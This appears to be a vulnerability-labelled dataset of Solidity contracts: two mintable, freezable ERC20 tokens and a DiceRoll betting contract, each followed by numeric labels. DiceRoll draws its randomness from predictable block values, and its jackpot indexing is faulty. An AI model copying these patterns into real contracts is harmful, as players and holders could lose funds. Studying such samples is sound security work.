to, uint64 release, uint amount); event Released(address indexed owner, uint amount); function balanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner) + freezingBalance[_owner]; } function actualBalanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner); } function freezingBalanceOf(address _owner) public view returns (uint256 balance) { return freezingBalance[_owner]; } function freezingCount(address _addr) public view returns (uint count) { uint64 release = chains[toKey(_addr, 0)]; while (release != 0) { count++; release = chains[toKey(_addr, release)]; } } function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) { for (uint i = 0; i < _index + 1; i++) { _release = chains[toKey(_addr, _release)]; if (_release == 0) { return; } } _balance = freezings[toKey(_addr, _release)]; } function freezeTo(address _to, uint _amount, uint64 _until) public { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Transfer(msg.sender, _to, _amount); emit Freezed(_to, _until, _amount); } function releaseOnce() public { bytes32 headKey = toKey(msg.sender, 0); uint64 head = chains[headKey]; require(head != 0); require(uint64(block.timestamp) > head); bytes32 currentKey = toKey(msg.sender, head); uint64 next = chains[currentKey]; uint amount = freezings[currentKey]; delete freezings[currentKey]; balances[msg.sender] = balances[msg.sender].add(amount); freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount); if (next == 0) { delete chains[headKey]; } else { chains[headKey] = next; delete chains[currentKey]; } emit Released(msg.sender, amount); } function releaseAll() public returns (uint tokens) { uint release; uint balance; (release, balance) = getFreezing(msg.sender, 0); while (release != 0 && block.timestamp > release) { releaseOnce(); tokens += balance; (release, balance) = getFreezing(msg.sender, 0); } } function toKey(address _addr, uint _release) internal pure returns (bytes32 result) { result = 0x5749534800000000000000000000000000000000000000000000000000000000; assembly { result := or(result, mul(_addr, 0x10000000000000000)) result := or(result, _release) } } function freeze(address _to, uint64 _until) internal { require(_until > block.timestamp); bytes32 key = toKey(_to, _until); bytes32 parentKey = toKey(_to, uint64(0)); uint64 next = chains[parentKey]; if (next == 0) { chains[parentKey] = _until; return; } bytes32 nextKey = toKey(_to, next); uint parent; while (next != 0 && _until > next) { parent = next; parentKey = nextKey; next = chains[nextKey]; nextKey = toKey(_to, next); } if (_until == next) { return; } if (next != 0) { chains[key] = next; } chains[parentKey] = _until; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract FreezableMintableToken is FreezableToken, MintableToken { function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Mint(_to, _amount); emit Freezed(_to, _until, _amount); emit Transfer(msg.sender, _to, _amount); return true; } } contract Consts { uint public constant TOKEN_DECIMALS = 18; uint8 public constant TOKEN_DECIMALS_UINT8 = 18; uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS; string public constant TOKEN_NAME = "OnyxToken"; string public constant TOKEN_SYMBOL = "ONX"; bool public constant PAUSED = false; address public constant TARGET_USER = 0x8ed4A1742efa8126741E8c074727732F5c4246Dd; bool public constant CONTINUE_MINTING = true; } contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable { event Initialized(); bool public initialized = false; constructor() public { init(); transferOwnership(TARGET_USER); } function name() public pure returns (string _name) { return TOKEN_NAME; } function symbol() public pure returns (string _symbol) { return TOKEN_SYMBOL; } function decimals() public pure returns (uint8 _decimals) { return TOKEN_DECIMALS_UINT8; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transfer(_to, _value); } function init() private { require(!initialized); initialized = true; if (PAUSED) { pause(); } address[1] memory addresses = [address(0xd14198cdc4ca84f0e24dbc410ffc7ab24d62d8a1)]; uint[1] memory amounts = [uint(10000000000000000000000000000)]; uint64[1] memory freezes = [uint64(0)]; for (uint i = 0; i < addresses.length; i++) { if (freezes[i] == 0) { mint(addresses[i], amounts[i]); } else { mintAndFreeze(addresses[i], amounts[i], freezes[i]); } } if (!CONTINUE_MINTING) { finishMinting(); } emit Initialized(); } }
1
5,226
pragma solidity ^0.4.23; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract FreezableToken is StandardToken { mapping (bytes32 => uint64) internal chains; mapping (bytes32 => uint) internal freezings; mapping (address => uint) internal freezingBalance; event Freezed(address indexed to, uint64 release, uint amount); event Released(address indexed owner, uint amount); function balanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner) + freezingBalance[_owner]; } function actualBalanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner); } function freezingBalanceOf(address _owner) public view returns (uint256 balance) { return freezingBalance[_owner]; } function freezingCount(address _addr) public view returns (uint count) { uint64 release = chains[toKey(_addr, 0)]; while (release != 0) { count++; release = chains[toKey(_addr, release)]; } } function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) { for (uint i = 0; i < _index + 1; i++) { _release = chains[toKey(_addr, _release)]; if (_release == 0) { return; } } _balance = freezings[toKey(_addr, _release)]; } function freezeTo(address _to, uint _amount, uint64 _until) public { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Transfer(msg.sender, _to, _amount); emit Freezed(_to, _until, _amount); } function releaseOnce() public { bytes32 headKey = toKey(msg.sender, 0); uint64 head = chains[headKey]; require(head != 0); require(uint64(block.timestamp) > head); bytes32 currentKey = toKey(msg.sender, head); uint64 next = chains[currentKey]; uint amount = freezings[currentKey]; delete freezings[currentKey]; balances[msg.sender] = balances[msg.sender].add(amount); freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount); if (next == 0) { delete chains[headKey]; } else { chains[headKey] = next; delete chains[currentKey]; } emit Released(msg.sender, amount); } function releaseAll() public returns (uint tokens) { uint release; uint balance; (release, balance) = getFreezing(msg.sender, 0); while (release != 0 && block.timestamp > release) { releaseOnce(); tokens += balance; (release, balance) = getFreezing(msg.sender, 0); } } function toKey(address _addr, uint _release) internal pure returns (bytes32 result) { result = 0x5749534800000000000000000000000000000000000000000000000000000000; assembly { result := or(result, mul(_addr, 0x10000000000000000)) result := or(result, _release) } } function freeze(address _to, uint64 _until) internal { require(_until > block.timestamp); bytes32 key = toKey(_to, _until); bytes32 parentKey = toKey(_to, uint64(0)); uint64 next = chains[parentKey]; if (next == 0) { chains[parentKey] = _until; return; } bytes32 nextKey = toKey(_to, next); uint parent; while (next != 0 && _until > next) { parent = next; parentKey = nextKey; next = chains[nextKey]; nextKey = toKey(_to, next); } if (_until == next) { return; } if (next != 0) { chains[key] = next; } chains[parentKey] = _until; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract FreezableMintableToken is FreezableToken, MintableToken { function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Mint(_to, _amount); emit Freezed(_to, _until, _amount); emit Transfer(msg.sender, _to, _amount); return true; } } contract Consts { uint public constant TOKEN_DECIMALS = 18; uint8 public constant TOKEN_DECIMALS_UINT8 = 18; uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS; string public constant TOKEN_NAME = "Ethermoney"; string public constant TOKEN_SYMBOL = "ETM"; bool public constant PAUSED = false; address public constant TARGET_USER = 0xe4949064008cdcd0377E4d51b42B9CC9b15E7b00; bool public constant CONTINUE_MINTING = true; } contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable { event Initialized(); bool public initialized = false; constructor() public { init(); transferOwnership(TARGET_USER); } function name() public pure returns (string _name) { return TOKEN_NAME; } function symbol() public pure returns (string _symbol) { return TOKEN_SYMBOL; } function decimals() public pure returns (uint8 _decimals) { return TOKEN_DECIMALS_UINT8; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transfer(_to, _value); } function init() private { require(!initialized); initialized = true; if (PAUSED) { pause(); } address[3] memory addresses = [address(0xaefda616da45f3dc26f14597930140e5d0d54172),address(0x68999c688cfbae00a4e0978ef422d3b36ebce15d),address(0xe4949064008cdcd0377e4d51b42b9cc9b15e7b00)]; uint[3] memory amounts = [uint(12000000000000000000000000000),uint(8000000000000000000000000000),uint(80000000000000000000000000000)]; uint64[3] memory freezes = [uint64(0),uint64(0),uint64(0)]; for (uint i = 0; i < addresses.length; i++) { if (freezes[i] == 0) { mint(addresses[i], amounts[i]); } else { mintAndFreeze(addresses[i], amounts[i], freezes[i]); } } if (!CONTINUE_MINTING) { finishMinting(); } emit Initialized(); } }
1
5,390
pragma solidity ^0.4.23; contract SafeMath { function safeToAdd(uint a, uint b) pure internal returns (bool) { return (a + b >= a); } function safeAdd(uint a, uint b) pure internal returns (uint) { require(safeToAdd(a, b)); return a + b; } function safeToSubtract(uint a, uint b) pure internal returns (bool) { return (b <= a); } function safeSub(uint a, uint b) pure internal returns (uint) { require(safeToSubtract(a, b)); return a - b; } } contract DiceRoll is SafeMath { address public owner; uint8 constant public maxNumber = 99; uint8 constant public minNumber = 1; bool public gamePaused; bool public recommendPaused; bool public jackpotPaused; uint256 public contractBalance; uint16 public houseEdge; uint256 public maxProfit; uint16 public maxProfitAsPercentOfHouse; uint256 public minBet; uint256 public maxBet; uint16 public jackpotOfHouseEdge; uint256 public minJackpotBet; uint256 public recommendProportion; uint256 playerProfit; uint256 public jackpotBlance; address[] public jackpotPlayer; uint256 public JackpotPeriods = 1; uint64 public nextJackpotTime; uint16 public jackpotPersent = 100; uint256 public totalWeiWon; uint256 public totalWeiWagered; uint256 public betId; uint256 seed; modifier betIsValid(uint256 _betSize, uint8 _start, uint8 _end) { require(_betSize >= minBet && _betSize <= maxBet && _start >= minNumber && _end <= maxNumber); _; } modifier oddEvenBetIsValid(uint256 _betSize, uint8 _oddeven) { require(_betSize >= minBet && _betSize <= maxBet && (_oddeven == 1 || _oddeven == 0)); _; } modifier gameIsActive { require(!gamePaused); _; } modifier recommendAreActive { require(!recommendPaused); _; } modifier jackpotAreActive { require(!jackpotPaused); _; } modifier onlyOwner { require(msg.sender == owner); _; } event LogResult(uint256 indexed BetID, address indexed PlayerAddress, uint8 DiceResult, uint256 Value, uint8 Status, uint8 Start, uint8 End, uint8 oddeven, uint256 BetValue); event LogJackpot(uint indexed BetID, address indexed PlayerAddress, uint jackpotValue); event LogRecommendProfit(uint indexed BetID, address indexed PlayerAddress, uint Profit); event LogOwnerTransfer(address SentToAddress, uint AmountTransferred); event SendJackpotSuccesss(address indexed winner, uint256 amount, uint256 JackpotPeriods); function() public payable{ contractBalance = safeAdd(contractBalance, msg.value); setMaxProfit(); } constructor() public { owner = msg.sender; houseEdge = 20; maxProfitAsPercentOfHouse = 100; minBet = 0.1 ether; maxBet = 1 ether; jackpotOfHouseEdge = 500; recommendProportion = 100; minJackpotBet = 0.1 ether; jackpotPersent = 100; } function playerRoll(uint8 start, uint8 end, address inviter) public payable gameIsActive betIsValid(msg.value, start, end) { betId += 1; uint8 probability = end - start + 1; playerProfit = ((msg.value * (100 - probability) / probability + msg.value) * (1000 - houseEdge) / 1000) - msg.value; if(playerProfit > maxProfit) playerProfit = maxProfit; uint8 random = uint8(rand() % 100 + 1); totalWeiWagered += msg.value; if(start <= random && random <= end){ totalWeiWon = safeAdd(totalWeiWon, playerProfit); contractBalance = safeSub(contractBalance, playerProfit); uint256 payout = safeAdd(playerProfit, msg.value); setMaxProfit(); emit LogResult(betId, msg.sender, random, playerProfit, 1, start, end, 2, msg.value); uint256 houseEdgeFee = getHouseEdgeFee(probability, msg.value); increaseJackpot(houseEdgeFee * jackpotOfHouseEdge / 1000, betId); if(inviter != address(0)){ emit LogRecommendProfit(betId, msg.sender, playerProfit); sendProportion(inviter, houseEdgeFee * recommendProportion / 1000); } msg.sender.transfer(payout); return; }else{ emit LogResult(betId, msg.sender, random, 0, 0, start, end, 2, msg.value); contractBalance = safeAdd(contractBalance, (msg.value-1)); setMaxProfit(); msg.sender.transfer(1); return; } } function oddEven(uint8 oddeven, address inviter) public payable gameIsActive oddEvenBetIsValid(msg.value, oddeven) { betId += 1; uint8 probability = 50; playerProfit = ((msg.value * (100 - probability) / probability + msg.value) * (1000 - houseEdge) / 1000) - msg.value; if(playerProfit > maxProfit) playerProfit = maxProfit; uint8 random = uint8(rand() % 100 + 1); totalWeiWagered += msg.value; if(random % 2 == oddeven){ totalWeiWon = safeAdd(totalWeiWon, playerProfit); contractBalance = safeSub(contractBalance, playerProfit); uint256 payout = safeAdd(playerProfit, msg.value); setMaxProfit(); emit LogResult(betId, msg.sender, random, playerProfit, 1, 0, 0, oddeven, msg.value); uint256 houseEdgeFee = getHouseEdgeFee(probability, msg.value); increaseJackpot(houseEdgeFee * jackpotOfHouseEdge / 1000, betId); if(inviter != address(0)){ emit LogRecommendProfit(betId, msg.sender, playerProfit); sendProportion(inviter, houseEdgeFee * recommendProportion / 1000); } msg.sender.transfer(payout); return; }else{ emit LogResult(betId, msg.sender, random, 0, 0, 0, 0, oddeven, msg.value); contractBalance = safeAdd(contractBalance, (msg.value-1)); setMaxProfit(); msg.sender.transfer(1); return; } } function sendProportion(address inviter, uint256 amount) internal { require(amount < contractBalance); contractBalance = safeSub(contractBalance, amount); inviter.transfer(amount); } function increaseJackpot(uint256 increaseAmount, uint256 _betId) internal { require(increaseAmount < maxProfit); emit LogJackpot(_betId, msg.sender, increaseAmount); jackpotBlance = safeAdd(jackpotBlance, increaseAmount); contractBalance = safeSub(contractBalance, increaseAmount); if(msg.value >= minJackpotBet){ jackpotPlayer.push(msg.sender); } } function createWinner() public onlyOwner jackpotAreActive { uint64 tmNow = uint64(block.timestamp); require(tmNow >= nextJackpotTime); require(jackpotPlayer.length > 0); nextJackpotTime = tmNow + 72000; JackpotPeriods += 1; uint random = rand() % jackpotPlayer.length; address winner = jackpotPlayer[random - 1]; jackpotPlayer.length = 0; sendJackpot(winner); } function sendJackpot(address winner) public onlyOwner jackpotAreActive { uint256 amount = jackpotBlance * jackpotPersent / 1000; require(jackpotBlance > amount); emit SendJackpotSuccesss(winner, amount, JackpotPeriods); jackpotBlance = safeSub(jackpotBlance, amount); winner.transfer(amount); } function sendValueToJackpot() payable public jackpotAreActive { jackpotBlance = safeAdd(jackpotBlance, msg.value); } function getHouseEdgeFee(uint256 _probability, uint256 _betValue) view internal returns (uint256){ return (_betValue * (100 - _probability) / _probability + _betValue) * houseEdge / 1000; } function rand() internal returns (uint256) { seed = uint256(keccak256(msg.sender, blockhash(block.number - 1), block.coinbase, block.difficulty)); return seed; } function setMaxProfit() internal { maxProfit = contractBalance * maxProfitAsPercentOfHouse / 1000; } function ownerSetHouseEdge(uint16 newHouseEdge) public onlyOwner{ require(newHouseEdge <= 1000); houseEdge = newHouseEdge; } function ownerSetMinJackpoBet(uint256 newVal) public onlyOwner{ require(newVal <= 1 ether); minJackpotBet = newVal; } function ownerSetMaxProfitAsPercentOfHouse(uint8 newMaxProfitAsPercent) public onlyOwner{ require(newMaxProfitAsPercent <= 1000); maxProfitAsPercentOfHouse = newMaxProfitAsPercent; setMaxProfit(); } function ownerSetMinBet(uint256 newMinimumBet) public onlyOwner{ minBet = newMinimumBet; } function ownerSetMaxBet(uint256 newMaxBet) public onlyOwner{ maxBet = newMaxBet; } function ownerSetJackpotOfHouseEdge(uint16 newProportion) public onlyOwner{ require(newProportion < 1000); jackpotOfHouseEdge = newProportion; } function ownerSetRecommendProportion(uint16 newRecommendProportion) public onlyOwner{ require(newRecommendProportion < 1000); recommendProportion = newRecommendProportion; } function ownerPauseGame(bool newStatus) public onlyOwner{ gamePaused = newStatus; } function ownerPauseJackpot(bool newStatus) public onlyOwner{ jackpotPaused = newStatus; } function ownerPauseRecommend(bool newStatus) public onlyOwner{ recommendPaused = newStatus; } function ownerTransferEther(address sendTo, uint256 amount) public onlyOwner{ contractBalance = safeSub(contractBalance, amount); sendTo.transfer(amount); setMaxProfit(); emit LogOwnerTransfer(sendTo, amount); } function ownerChangeOwner(address newOwner) public onlyOwner{ owner = newOwner; } function ownerkill() public onlyOwner{ selfdestruct(owner); } }
0
860